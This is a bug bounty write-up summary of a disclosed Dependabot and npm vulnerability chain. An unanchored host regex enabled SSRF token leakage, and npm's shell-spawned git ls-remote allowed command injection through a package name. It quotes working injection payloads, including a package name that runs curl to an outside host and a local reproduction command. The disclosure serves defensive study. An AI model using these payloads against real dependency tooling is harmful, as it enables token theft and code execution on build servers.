# Diving into Dependabot along with a bug in npm

Dependabot's weak host regex allowed SSRF token theft, and npm's shell-spawn of git ls-remote let a crafted package name execute commands on Dependabot servers.

- Payout: $7,500
- Severity: high
- Program: GitHub
- Credited: tyage
- Disclosed: 2021-06-27
- Write-up quality: 8/10
- Original: https://blog.tyage.net/posts/2021-06-27-dependabot-rce/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-tyage-net-posts-2021-06-27-dependabot-rce
- Tags: domain:web3 impact:integrity impact:internal-access kind:bounty platform:blog sev:high tech:nodejs technique:chained technique:source-review vuln:command-injection vuln:ssrf

**Target:** Dependabot dependency updater and npm CLI git dependency resolution
**Root cause:** Dependabot validated git hosts with an unanchored regex (/github\.com|.../) accepting github.com.mocos.kitchen, and npm spawned `git ls-remote` with the shell option so shell metacharacters in a git+https package name were evaluated.
**Steps:**
1. Add dependency `"package1": "git+https://github.com.mocos.kitchen/username/repo"` to package.json; Dependabot fetches it and leaks the git_source token in the Authorization header (SSRF).
2. In GitHub-hosted Dependabot, use package name `https://github.com/tyage/;$(curl$IFS@mocos.kitchen:3001);?/github.com/tyage/sample-package.git#semver:4.0.0` to trigger command execution.
3. Locally reproduce with `npm install 'git+https://github.com/tyage/sample-package;echo HELLO > a;' --ignore-scripts` then `cat a`.
**How found:** Hypothesized that controlling Dependabot yields write access to many repos, so set up local dependabot-core, read the KNOWN_HOSTS and GIT_URL_REGEX validations, noticed unanchored host matching, then fuzzed package names until a shell command fired.
**Exploitation:** A malicious repository's package.json causes Dependabot to run npm install; npm builds `git ls-remote ssh://git@github.com/...` and spawns it with shell:true, so `;$(curl...)` in the package name executes on the Dependabot server, giving a shell with access to the internal HTTP proxy and internal PR-creation API, enabling impersonation of the verified Dependabot account.
**Escalation:** Shell access to internal proxy/API allowed creating commits and pull requests as Dependabot; full repo write access was not achieved.
**Insight:** Unanchored host allowlist regexes (`/github\.com|.../`) match attacker domains like github.com.evil.tld — always test suffix/prefix host tricks. Also, tools that spawn git with shell:true re-evaluate metacharacters in package names even with --ignore-scripts.